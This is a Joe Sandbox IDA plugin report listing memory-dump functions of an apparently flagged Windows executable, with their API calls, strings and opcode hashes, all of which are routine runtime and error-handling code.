Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ef37840ed9934c1aaeb06cf917a3ae799d9876d4d923df49702be147c9d5e414
Instruction ID: ac9030e677d9f030c33320a4b98a8ba3a959158a06ff99de33dd8c8289e32442
Opcode Fuzzy Hash: ef37840ed9934c1aaeb06cf917a3ae799d9876d4d923df49702be147c9d5e414
Instruction Fuzzy Hash: 49215E20F0A6435AFB6877219D5597DD2B1CF447B0F9046B6DA3D4A6DBDE2CA4038A20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA98B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF72AA98BCD
GetLastError.KERNEL32 ref: 00007FF72AA98BD9
CloseHandle.KERNEL32 ref: 00007FF72AA98BF1
CreateFileW.KERNEL32 ref: 00007FF72AA98C1C
WriteConsoleW.KERNEL32 ref: 00007FF72AA98C3B

Strings

CONOUT$, xrefs: 00007FF72AA98BFD

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: c684c657c71cc66e393495913d92b804321d58ad0ed46cdbde63fde403b390ba
Instruction ID: 52988c1463721bbe64ee3e68d02b60853efa56ff108b65e3342bc53665a41e03
Opcode Fuzzy Hash: c684c657c71cc66e393495913d92b804321d58ad0ed46cdbde63fde403b390ba
Instruction Fuzzy Hash: 00117222618A4286F350AF56AC44B29F3B0FF88FE4F940275D91D87794CF3CD9458B54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8BE68 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF72AA85AAD,?,?,?,?,00007FF72AA8F79F,?,?,00000000,00007FF72AA8BF86,?,?,?), ref: 00007FF72AA8BE77
FlsSetValue.KERNEL32(?,?,?,00007FF72AA85AAD,?,?,?,?,00007FF72AA8F79F,?,?,00000000,00007FF72AA8BF86,?,?,?), ref: 00007FF72AA8BEAD
FlsSetValue.KERNEL32(?,?,?,00007FF72AA85AAD,?,?,?,?,00007FF72AA8F79F,?,?,00000000,00007FF72AA8BF86,?,?,?), ref: 00007FF72AA8BEDA
FlsSetValue.KERNEL32(?,?,?,00007FF72AA85AAD,?,?,?,?,00007FF72AA8F79F,?,?,00000000,00007FF72AA8BF86,?,?,?), ref: 00007FF72AA8BEEB
FlsSetValue.KERNEL32(?,?,?,00007FF72AA85AAD,?,?,?,?,00007FF72AA8F79F,?,?,00000000,00007FF72AA8BF86,?,?,?), ref: 00007FF72AA8BEFC
SetLastError.KERNEL32(?,?,?,00007FF72AA85AAD,?,?,?,?,00007FF72AA8F79F,?,?,00000000,00007FF72AA8BF86,?,?,?), ref: 00007FF72AA8BF17

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ddf8d81a22343009781cfd87416a9e8d85b9fb6f44d6b4a7416555ba1d33dd0c
Instruction ID: 35389cb0e44d71ed9ee569df50eb540e23e7adb250880bad8170887e65623b7e
Opcode Fuzzy Hash: ddf8d81a22343009781cfd87416a9e8d85b9fb6f44d6b4a7416555ba1d33dd0c
Instruction Fuzzy Hash: D4114F10A0A6434EF764B7219D5593DE2B1CF847B0FD446B5EA2E466D6DF2CA8038B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA725E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF72AA727CF), ref: 00007FF72AA72618
DialogBoxIndirectParamW.USER32 ref: 00007FF72AA726DC
DeleteObject.GDI32 ref: 00007FF72AA7270F
DestroyIcon.USER32 ref: 00007FF72AA72721

Strings

Unhandled exception in script, xrefs: 00007FF72AA72648

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1f3d1521894b1493867d551a7722980cdb1a6c55e5d92a75b7aa063c884505e7
Instruction ID: a0b102a83cb8466769ab716dfbbceaee2e439486c52c3ada1a547441fd871776
Opcode Fuzzy Hash: 1f3d1521894b1493867d551a7722980cdb1a6c55e5d92a75b7aa063c884505e7
Instruction Fuzzy Hash: 58311C72A09A8289EB24EF25EC559FAA371FF88784F800175EA4D4BB55DF3CD506CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA729C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF72AA788E2,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA729F4

Part of subcall function 00007FF72AA78560: GetLastError.KERNEL32(00000000,00007FF72AA72A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA78587
Part of subcall function 00007FF72AA78560: FormatMessageW.KERNEL32 ref: 00007FF72AA785B6

Part of subcall function 00007FF72AA78BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C0A

MessageBoxW.USER32 ref: 00007FF72AA72AD0
MessageBoxA.USER32 ref: 00007FF72AA72AEC

Strings

Fatal error detected, xrefs: 00007FF72AA72AA6, 00007FF72AA72ADE
%s%s: %s, xrefs: 00007FF72AA72A4B

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: a22562a3e5708768cb0d15f904b55a8b62d2097d7bb286fe6f48fe5cd4d63a9f
Instruction ID: 5384191719b9222b0ccc9290393568aa2854662d61dfd26663f7479e8632e401
Opcode Fuzzy Hash: a22562a3e5708768cb0d15f904b55a8b62d2097d7bb286fe6f48fe5cd4d63a9f
Instruction Fuzzy Hash: A9313E72628A8291F720AB10EC519EFA374FF84B84FC04076E68D46A59DF3CD646CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8A5F8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF72AA8A61D
GetProcAddress.KERNEL32 ref: 00007FF72AA8A633
FreeLibrary.KERNEL32 ref: 00007FF72AA8A65A

Strings

mscoree.dll, xrefs: 00007FF72AA8A614
CorExitProcess, xrefs: 00007FF72AA8A62C

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8b09857164704210b2e0253d11d0b3fe713c31e540e9fb1e205907d45fa6ef0f
Instruction ID: a3ba052edb00f6c5dad9978430c16fd0665e94efd6d1eeb4ad2ce884605bd7a9
Opcode Fuzzy Hash: 8b09857164704210b2e0253d11d0b3fe713c31e540e9fb1e205907d45fa6ef0f
Instruction Fuzzy Hash: F8F04F75A19A0286FB10AF24EC54F3AE370EF88761F9402B5C56E462E4CF2CD54A8B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA9A220 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF72AA9A248
_set_statfp.LIBCMT ref: 00007FF72AA9A263
_set_statfp.LIBCMT ref: 00007FF72AA9A27F
_set_statfp.LIBCMT ref: 00007FF72AA9A2BB

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: d50491bea8969994bc9dc4ca50480119e267a8b87e68f26f7a376d7e0517ab69
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction Fuzzy Hash: 3D119832D1CA0301FB543155DC46F75B160FF58370E9506B7E56F0A2F68E2E5A434961

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8BF30 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF72AA8B147,?,?,00000000,00007FF72AA8B3E2,?,?,?,?,?,00007FF72AA836AC), ref: 00007FF72AA8BF4F
FlsSetValue.KERNEL32(?,?,?,00007FF72AA8B147,?,?,00000000,00007FF72AA8B3E2,?,?,?,?,?,00007FF72AA836AC), ref: 00007FF72AA8BF6E
FlsSetValue.KERNEL32(?,?,?,00007FF72AA8B147,?,?,00000000,00007FF72AA8B3E2,?,?,?,?,?,00007FF72AA836AC), ref: 00007FF72AA8BF96
FlsSetValue.KERNEL32(?,?,?,00007FF72AA8B147,?,?,00000000,00007FF72AA8B3E2,?,?,?,?,?,00007FF72AA836AC), ref: 00007FF72AA8BFA7
FlsSetValue.KERNEL32(?,?,?,00007FF72AA8B147,?,?,00000000,00007FF72AA8B3E2,?,?,?,?,?,00007FF72AA836AC), ref: 00007FF72AA8BFB8

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5469ad97ef1dc323ed31f4bb816bde73ef5dcee44b4409764bd7785a0893e436
Instruction ID: b745fed43d3166c9de2cf0b03c29505a2d33ca4300c5d130b367e9ef960e4e28
Opcode Fuzzy Hash: 5469ad97ef1dc323ed31f4bb816bde73ef5dcee44b4409764bd7785a0893e436
Instruction Fuzzy Hash: BA115110F0A60349FB5877219D5193D92B1DF847B0F9842B6EA2D866D6DE2CE8038E20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8BDC4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF72AA8BDD5
FlsSetValue.KERNEL32 ref: 00007FF72AA8BDF4
FlsSetValue.KERNEL32 ref: 00007FF72AA8BE1C
FlsSetValue.KERNEL32 ref: 00007FF72AA8BE2D
FlsSetValue.KERNEL32 ref: 00007FF72AA8BE3E

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 8f64e276412905fb556d0cf6e5ae689124ad209186916bebc7020e596f8a9cd9
Instruction ID: 6ddc977392bcf6c68a2bd0ab999f16fd9aad840f13a99eccc08d7ac4ba3c14cf
Opcode Fuzzy Hash: 8f64e276412905fb556d0cf6e5ae689124ad209186916bebc7020e596f8a9cd9
Instruction Fuzzy Hash: 7F11DA60E0B2074DFB6872219C6597D92B2CF85770ED446B6DB3D4A2D3DE2CB8438A21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA86A94 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA86AD0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA86BFA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA86CB0

Strings

verbose, xrefs: 00007FF72AA86AA4

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 1c0dd48f447bd5919c4c0af8999980ceaa421a823445f2473d5a297136b7fe44
Instruction ID: 6e6959cf92d3f781000eea08ab15e342f6b32a633c34537a7f5e16975b289147
Opcode Fuzzy Hash: 1c0dd48f447bd5919c4c0af8999980ceaa421a823445f2473d5a297136b7fe44
Instruction Fuzzy Hash: 8691E062A08A4689F722AE29DC51B7DB7B0EF40B58FC44176DA5D473C5DF3CE8468B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA90B88 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA90E67

Part of subcall function 00007FF72AA96FA4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA96FC1

Strings

UTF-16LEUNICODE, xrefs: 00007FF72AA90E05
UTF-8, xrefs: 00007FF72AA90DE6
ccs, xrefs: 00007FF72AA90DA2

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: d575cc9c9c6fff3bb6b887c91fcc14de71c27d2c4b886d2e4095e12dd43ef316
Instruction ID: 5e347198ba9e4a94493c618180c5c4726afe60209a4c6da84585da2efe3da485
Opcode Fuzzy Hash: d575cc9c9c6fff3bb6b887c91fcc14de71c27d2c4b886d2e4095e12dd43ef316
Instruction Fuzzy Hash: E181A735D0824389FB656F198D52E78B6B0EF10BC4FD540B2CA0D97299DB2DFA439E21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7CD70 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF72AA7CD9B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF72AA7CE32
RtlUnwindEx.KERNEL32 ref: 00007FF72AA7CE8C

Strings

csm, xrefs: 00007FF72AA7CE19

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 9937fcd42addf426bdc80adcc1b9a62f0535f05a99127480d1a1977f785d18a7
Instruction ID: 3fe922f306b06d5840ee3cccde12c4930d84e1a71b1409e4a63547e80a528314
Opcode Fuzzy Hash: 9937fcd42addf426bdc80adcc1b9a62f0535f05a99127480d1a1977f785d18a7
Instruction Fuzzy Hash: 19519132A197028AFB14EF15EC44E7EA7A5EF44B88F908175EA5D43784DF3CE8428B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7F5F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF72AA7F64F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF72AA7F69B

Strings

MOC, xrefs: 00007FF72AA7F663
RCC, xrefs: 00007FF72AA7F66B

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: e4646d365215256e67ec22a9df473d11678327abea87c6de7235dddbff79b36e
Instruction ID: 0a750a55d19d11709a8c63ae395c42317ef85c96750effc36f6659d8da434b60
Opcode Fuzzy Hash: e4646d365215256e67ec22a9df473d11678327abea87c6de7235dddbff79b36e
Instruction Fuzzy Hash: 74618F32908BC585E760AB15E840BAEF7A0FB85B84F444266EB9C17B95DF3CD192CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7F9A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF72AA7F9C8
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF72AA7FAB0

Strings

csm, xrefs: 00007FF72AA7F9EA
csm, xrefs: 00007FF72AA7FB02

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 723dedddd72afc6468d282760165df683ca6c1680e5e3aacb3d58d0999c557cb
Instruction ID: 5b451a254d6addb21ec5d1057d5cbbfb4cd123eb6a03915e4b7e1adb40c659d8
Opcode Fuzzy Hash: 723dedddd72afc6468d282760165df683ca6c1680e5e3aacb3d58d0999c557cb
Instruction Fuzzy Hash: 845181329082428AFB64AF119C44A6EB7B0FF84B94F9441B6DA8C47795CF3CE552CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA72870 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72AA78BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C0A

MessageBoxW.USER32 ref: 00007FF72AA7297B
MessageBoxA.USER32 ref: 00007FF72AA72997

Strings

Fatal error detected, xrefs: 00007FF72AA72951, 00007FF72AA72989
%s%s: %s, xrefs: 00007FF72AA728F6

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 88149bfc2a28579845b544d32f14f9b1101eddfde92b8430b51e14ba55e9a319
Instruction ID: e10f78bf23fabc1ae6939817759f7c959a650bd915c27e413968cfa486f3448d
Opcode Fuzzy Hash: 88149bfc2a28579845b544d32f14f9b1101eddfde92b8430b51e14ba55e9a319
Instruction Fuzzy Hash: 1F310F62628A8295F720EB10EC519EBA364FF84B84FC04076E68D46A99DF3CD606CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA73EB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF72AA739CA), ref: 00007FF72AA73EE1

Part of subcall function 00007FF72AA729C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF72AA788E2,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA729F4
Part of subcall function 00007FF72AA729C0: MessageBoxW.USER32 ref: 00007FF72AA72AD0

Strings

Failed to get executable path., xrefs: 00007FF72AA73EEB
Failed to convert executable path to UTF-8., xrefs: 00007FF72AA73F1A
GetModuleFileNameW, xrefs: 00007FF72AA73EF2

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
